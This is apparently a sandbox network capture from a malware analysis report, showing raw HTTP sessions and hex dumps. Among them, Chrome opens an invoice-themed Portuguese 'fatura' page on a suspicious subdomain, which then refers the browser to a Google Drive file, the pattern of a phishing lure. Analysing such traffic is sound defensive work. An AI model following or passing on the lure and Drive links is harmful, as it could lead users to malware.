Data Ascii: 3VC'A+uoc#g7D8]oC136AMr=R9pcnnm\W\|}J\|-O6$8k(2CQz5/l-*5ntY7pM6ZH#T;f}9l?fZ9as~\|=h[mm5vZ_VLJF7
2024-11-26 07:54:11 UTC	4096	IN	Data Raw: 3d 5a d3 c4 0a 5a cd d4 68 b0 c5 4c 8e 11 50 77 36 1a 4d d6 9f 8d 96 c9 3a 74 2b d9 9f 3d af 6d 07 7c db 6a 39 63 b6 dd d2 db 8d 46 b8 5f b7 c6 62 bf d9 32 2c 4f ec 37 db 46 78 bc ee 4d 4c b1 bf d5 6c 1b 62 db f6 f4 89 d8 1e bb 4e 53 6c bb ae 1b 1e e3 19 86 27 05 3c ce 81 3e cf 81 74 f7 c1 24 10 01 8f f8 be 75 2c b1 52 05 9d eb 25 56 2b 5b 62 d5 1d ed 52 87 29 dd 65 be 89 ba 26 71 87 a2 b3 18 0b 76 cf e0 60 d0 bd 9d 1f 9c 5d 60 87 39 38 7b 43 c5 10 7e 59 0d 28 df b0 52 18 53 3e fc 07 67 74 41 d3 0e ba 74 cf 83 ee 4f b1 aa 83 ee 21 0e 25 dd 57 78 a3 b3 21 0d ed 67 43 a2 ce a0 df dd 83 db 0e c8 00 7a 35 38 61 03 fc 5e ac 18 fc 0b 86 c3 a6 61 36 7c c3 35 83 e4 ea c4 d7 47 5d ec c1 66 70 88 54 8b 1b 83 fd a1 3f 6f 42 39 3c 27 c3 e6 60 0f db 41 ad e8 e3 93 97 Data Ascii: =ZZhLPw6M:t+=m\|j9cF_b2,O7FxMLlbNSl'<>t$u,R%V+[bR)e&qv`]`98{C~Y(RS>gtAtO!%Wx!gCz58a^a6\|5G]fpT?oB9<'`A
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: 18 86 36 6a 86 ae 19 ba 66 e8 2f 9a a1 b7 d3 36 34 f8 d6 35 47 6f 0a 47 db 35 47 d7 1c 5d 73 f4 17 cd d1 c2 8a 1e c0 53 e2 fd 50 f7 6a 86 de 14 86 6e d4 0c 5d 33 74 cd d0 5f 00 43 2b 9e a1 ce bc db 70 76 2e 9f 79 67 d4 ec 5c b3 73 cd ce 1b c5 ce 51 bb 56 c1 ce 75 e6 dd a6 b1 73 f9 cc bb 9a 9d 6b 76 ae d9 f9 73 64 e7 3a f3 ee 61 71 76 f9 cc bb 9a b3 6b ce ae 39 fb 73 e4 ec 3a f3 6e 93 19 ba 7c e6 5d cd d0 35 43 d7 0c fd 39 33 74 9d 79 b7 89 0c 5d 3e f3 ae 66 e8 9a a1 6b 86 fe 1c 19 ba ce bc db 6c 8e 2e 9f 79 57 73 74 cd d1 35 47 7f 8e 1c 5d 67 de 6d 32 43 97 cf bc ab 19 ba 66 e8 9a a1 1f 2e 43 77 e1 28 44 2f c6 97 52 6e 07 d7 da 14 3b e7 73 ac 8c 5e 43 e2 94 62 a6 70 41 53 db 9a 0d ff 26 80 51 6b 25 4c b1 4c df 7a 9e 78 5e b5 9e 23 cb 9a 8a f1 41 9c 95 9f Data Ascii: 6jf/645GoG5G]sSPjn]3t_C+pv.yg\sQVuskvsd:aqvk9s:n\|]5C93ty]>fkl.yWst5G]gm2Cf.Cw(D/Rn;s^CbpAS&Qk%LLzx^#A
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: f8 b3 60 3f 73 fd c7 f3 c3 7e 37 64 b5 fd 5e 1e 14 dc c0 5c ff 93 05 37 30 d7 7f fb e4 bf 05 77 30 d3 7f 70 bd e0 0e e6 fa af 4f 7e 2c b8 85 99 fe 03 cf 87 ae a6 1b c5 81 85 cf 04 56 d1 8d e4 61 c1 3d cc f5 f7 9e d0 ea b9 d1 3c 2a b8 89 b9 fe e7 0b 6e 62 ae ff 78 57 f0 45 c1 5d cc f4 1f 5c 29 b8 8b b9 fe 7b 16 de 17 5e 15 97 c5 cd 82 db 98 eb bf 77 f2 7d c1 7d cc f4 1f f8 1b d0 ef 32 f9 65 e1 ff 80 76 97 cd 1f e1 fb 98 ed ff f3 e4 db e0 7d cc f6 1f fc b6 c9 37 b1 ab ff da e4 9b 4d bc 89 5d fd 07 d7 96 7c 07 bb fb ff 34 f9 7c 49 37 f0 db fd 1f a2 18 41 72 13 b5 c4 fa 00 00 03 0c 6d 6b 42 54 fa ce ca fe 00 7f 29 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `?s~7d^\70w0pO~,Va=<*nbxWE]\){^w}}2ev}7M]\|4\|I7ArmkBT)
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: ce b0 e7 5a f2 2f d0 c9 e9 3b 2f 78 86 17 d6 e1 ce 73 f5 fc 5f e9 06 b7 39 3f ff 1d ab 50 cc dc af 35 dd bb 5c ed 5b bd e3 79 7c de d9 02 18 c3 e7 f5 c4 8d 38 9d d4 cf dd f8 9f 67 00 e4 fb bf cb ca b1 4c 7b e4 3f 0c c3 30 0c c3 30 0c e7 18 5f e0 6b 33 be c0 e7 86 3e b4 92 e3 f8 02 9f 1b db dc c6 17 f8 7a e4 1a ab c9 f8 02 5f 83 9d fc c7 17 f8 fc 5c 53 fe e3 0b 7c 3c ae 29 ff 62 7c 81 8f c5 ca e7 37 be c0 61 18 86 61 18 86 61 78 6e 2e b5 95 74 eb 86 1c 61 7f 12 3f 6c c4 f7 5e 43 e3 95 df 11 76 6b ad ac d8 bd 23 ae e0 fd dc 7e 65 fb 90 ee 29 ff b4 33 3c 33 5e d7 07 db 1b b6 b9 c2 6b f0 ac 64 6c f9 63 7f c1 26 b7 6a 4b 2b 9b 9c e5 6f 7f 22 65 f2 fa 3c 2e e3 ca 9e 60 9b c1 ea 5e 28 33 7a cc f2 cf f6 e8 75 0a 9f c1 a6 6c db 2b 36 bb fa df 76 b4 ee 9b 3c 99 86 Data Ascii: Z/;/xs_9?P5\[y\|8gL{?00_k3>z_\S\|<)b\|7aaaxn.ta?l^Cvk#~e)3<3^kdlc&jK+o"e<.`^(3zul+6v<
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: ab ce 9f 67 ba 5a cd 59 7c 3c f5 31 4e 79 c5 ac 7c 45 37 fe 6b fa aa cc ea fa 8e bc f7 b0 3f f5 ae d6 ff 7a 2f 6b 9b dc d7 3e e4 3c 9a cf ff 3d 8d ce 91 7d 4e 9f cd e5 bb 18 81 ce 85 f9 9e 01 19 fc 3e e5 75 e5 57 79 ad 64 ac ca ac ae af d2 64 7a 1c 0c 06 83 c1 60 30 18 0c 2a e8 dc 5c 3f 57 38 c0 47 a3 92 cb d7 1f 1f 01 cf e2 02 59 bb fb 1e cc d5 3a 82 fd d2 cf 44 15 67 ab f6 63 be 67 3c 8b 0b cc f6 32 2b b2 b8 80 ee d9 d5 fd ff 27 eb 57 b5 15 b1 36 bd 9e 71 6e d8 9f 7b 9e 07 72 e8 75 e7 22 77 b8 3c d2 54 6b f4 ce 2e 99 1e f4 5c a0 72 a4 95 be 6e e5 1b 4f e0 fb ef d5 3e 55 ec 8f 98 13 7e 63 87 23 54 3f a3 f1 2b ae eb 9e 79 f6 ef 7b bc 51 f9 c2 2c 8f 2c 5e 9d 71 46 1d 2f 58 c5 fb 76 38 ba 2e d6 a9 67 13 e1 d7 33 7d ed c8 b8 e2 02 4f 50 f9 7f ec 8f 0c 7e 6e Data Ascii: gZY\|<1Ny\|E7k?z/k><=}N>uWyddz`0*\?W8GY:Dgcg<2+'W6qn{ru"w<Tk.\rnO>U~c#T?+y{Q,,^qF/Xv8.g3}OP~n
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: fe 00 7f ba 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9c ed c3 31 0d 00 00 0c 03 a0 fa 37 dd 5d 55 31 48 48 80 b7 da aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa ea 1e 38 27 4e 05 c8 c2 5f 77 00 00 00 af 6d 6b 42 54 fa ce ca fe 00 7f c1 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 9c ed d1 Data Ascii: Wx17]U1HH8'N_wmkBTx
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: 77 8c 6b d7 bd be a1 0b 23 b8 0f 6b 58 17 66 79 91 12 d6 45 c7 f7 9a c8 41 a9 cd 42 c2 39 c2 75 4d 10 b0 db de 34 50 3d b9 5f 04 d3 6c 92 90 c6 67 57 8f ae d8 87 dd 4e 95 14 d5 23 96 5f 6e 99 87 47 ef a4 70 03 70 0b 2c 5a 85 1e 12 ff 55 75 9b 36 c8 93 f7 c3 56 a6 9b d3 b0 b8 e5 30 45 4b 91 37 2a 7c b7 fd 18 5d af 7b 9d fc 37 35 46 5c e9 d4 b6 bb fa 7a 51 d8 15 a0 7a 21 e1 82 c7 07 09 75 15 48 80 3e ee ff f3 a6 75 70 9a b2 da f6 f5 54 d9 a3 bb 6f 33 50 29 88 f8 b4 5b e0 5e d5 36 e3 d6 da f3 e3 60 20 2d 9a 64 26 12 e1 2a 3d b6 25 c4 c0 ca 66 59 92 3c bf 5e 92 83 d8 b7 60 5f 36 9d a8 df c8 7c 68 1d b8 cc eb 05 33 d8 a1 3e 80 84 32 20 19 50 ba 10 fa 71 ff d7 37 07 15 cf 8e b3 0b fd d5 0e fc 2c 4e 73 be 6a bb 46 99 3d 42 b5 8a fc 60 0b a8 ed 81 b3 95 43 a7 f2 Data Ascii: wk#kXfyEAB9uM4P=_lgWN#_nGpp,ZUu6V0EK7\|]{75F\zQz!uH>upTo3P)[^6` -d&=%fY<^`_6\|h3>2 Pq7,NsjF=B`C
2024-11-26 07:54:12 UTC	4096	IN	Data Raw: 30 a8 40 e8 34 ed c7 fb bf 0b 03 d5 de 1e fb 35 b8 02 35 67 b5 95 78 ff 63 8e ed 54 bf 47 f4 dc fb 55 19 f4 23 af 52 d4 1b 43 43 c6 3f 74 64 78 c7 1c f4 86 f8 4c 60 8c c6 81 38 a7 f5 eb e9 64 67 73 54 e2 3f 0f 4d 36 7d 2c 0c 02 5f 9d 9a 93 20 1f 96 5c 82 6b d9 ac 04 de f8 9e 6c 74 ce 84 6c af 73 a0 8b 3a 6d 22 32 d7 e3 35 b7 62 01 65 5c 5d 08 5c f2 0c cb 9b dc e4 7b 78 61 df 4c 6f b9 8b 51 d3 7f 6c 50 77 4b 37 8d ec e9 3f 0f 4d ee a5 89 00 5e 61 2c d5 1f 5f fe 6c 62 28 d4 c0 31 87 3f f1 bf eb 83 06 ed f3 0e cf 33 93 1d 84 dd 8c 5e 37 a2 db f6 3a f0 10 85 cb de 83 c3 c3 5e ba 75 73 ac cf 9a 71 42 b9 38 2a c1 8d e8 68 80 47 78 8c 1f b0 59 fe 0f 43 93 6d 35 02 83 4d 7e ed 7b 53 1f 67 c0 39 6e e8 91 52 58 96 1d 43 7d 5b f9 ab 8b 17 9f 68 07 4f ce 74 43 9b 97 Data Ascii: 0@455gxcTGU#RCC?tdxL`8dgsT?M6},_ \kltls:m"25be\]\{xaLoQlPwK7?M^a,_lb(1?3^7:^usqB8*hGxYCm5M~{Sg9nRXC}[hOtC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	192.124.216.109	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:20 UTC	704	OUT	GET /fatura/fatura.html HTTP/1.1 Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:54:21 UTC	251	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 26 Nov 2024 07:54:21 GMT Content-Type: text/html Content-Length: 2043 Last-Modified: Mon, 25 Nov 2024 09:29:54 GMT Connection: close ETag: "67444392-7fb" X-Powered-By: PleskLin Accept-Ranges: bytes
2024-11-26 07:54:21 UTC	2043	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 49 64 65 6e 74 69 66 69 63 61 6e 64 6f 20 46 61 74 75 72 61 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="pt-BR"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Identificando Fatura</title> <style> body { margin: 0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	192.124.216.109	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:21 UTC	660	OUT	GET /favicon.ico HTTP/1.1 Host: yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:54:22 UTC	238	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 26 Nov 2024 07:54:21 GMT Content-Type: text/html Content-Length: 808 Connection: close Last-Modified: Mon, 28 Oct 2024 17:43:05 GMT ETag: "328-6258d0045333e" Accept-Ranges: bytes
2024-11-26 07:54:22 UTC	808	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>404 Not Found</title> <link rel="s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=pUKlWy8r8hOh1dd&MD=SCW4XbB1 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 07:54:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4edd1523-03f0-4bdc-8b19-29c3e5157843 MS-RequestId: ea0f0461-c172-499b-a695-81b3412879e0 MS-CV: T8zoWMm3d0yYcBsm.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 07:54:22 GMT Connection: close Content-Length: 24490
2024-11-26 07:54:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 07:54:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	172.217.19.174	443	7872	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:54:59 UTC	850	OUT	GET /file/d/1RIwATlCMDmDpyFBDs3C4xHwU5PwLh4nh/view HTTP/1.1 Host: drive.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:55:00 UTC	1327	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Robots-Tag: noindex, nofollow, nosnippet Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 26 Nov 2024 07:54:59 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri https://csp.withgoogle.com/csp/docs-tt Content-Security-Policy: script-src 'report-sample' 'nonce-zs16cSxkGbivibd-TT2rCw' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/viewer/ Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=519=r2TB4m_YAZM4dp5vzYePnCmkAZajuL0XEfUG6Cc1tg8muVcT-nh8rS0SiMIc9FaF38HHg5Yo-0yQ7GiCHX5oMh3OEJzTiLokBOScIf0AX500nQpF9Nlrqa0O8L7DvI0UyOW7ctXHdDJPp-ie0Kd85-Jk2v8h6vpbbiGTf_bF-iyuSlurSi5_RN8; expires=Wed, 28-May-2025 07:54:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:55:00 UTC	63	IN	Data Raw: 34 33 61 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 73 31 36 63 53 78 6b 47 62 69 76 69 62 64 Data Ascii: 43ab<!DOCTYPE html><html><head><script nonce="zs16cSxkGbivibd
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 2d 54 54 32 72 43 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 3d 7b 7d 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 73 31 36 63 53 78 6b 47 62 69 76 69 62 64 2d 54 54 32 72 43 77 22 3e 20 77 69 6e 64 6f 77 5b 27 5f 44 52 49 56 45 5f 56 49 45 57 45 52 5f 63 74 69 6d 69 6e 67 27 5d 5b 27 74 66 73 27 5d 3d 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 69 64 3d 22 74 65 78 6d 65 78 2d 74 68 75 6d 62 22 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 69 6d 61 67 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 72 69 76 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 64 72 69 76 65 2d 76 69 65 77 65 72 2f Data Ascii: -TT2rCw"> window['_DRIVE_VIEWER_ctiming']={}; </script><script nonce="zs16cSxkGbivibd-TT2rCw"> window['_DRIVE_VIEWER_ctiming']['tfs']=performance.now(); </script><link id="texmex-thumb" rel="preload" as="image" href="https://drive.google.com/drive-viewer/
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6b 43 6e 71 45 75 39 32 46 72 31 4d 75 35 31 78 48 49 7a 49 46 4b 77 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 30 31 30 32 2d 30 31 30 33 2c 55 2b 30 31 31 30 2d 30 31 31 31 2c 55 2b 30 31 32 38 2d 30 31 32 39 2c 55 2b 30 31 36 38 2d 30 31 36 39 2c 55 2b 30 31 41 30 2d 30 31 41 31 2c 55 2b 30 31 41 46 2d 30 31 42 30 2c 55 2b 30 33 30 30 2d 30 33 30 31 2c 55 2b 30 33 30 Data Ascii: t-face{font-family:'Roboto';font-style:italic;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+030
2024-11-26 07:55:00 UTC	1390	IN	Data Raw: 2b 30 33 30 31 2c 55 2b 30 34 30 30 2d 30 34 35 46 2c 55 2b 30 34 39 30 2d 30 34 39 31 2c 55 2b 30 34 42 30 2d 30 34 42 31 2c 55 2b 32 31 31 36 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 73 72 63 3a 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 53 55 35 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 55 2b 31 46 30 30 2d 31 46 46 46 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c Data Ascii: +0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:300;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-famil
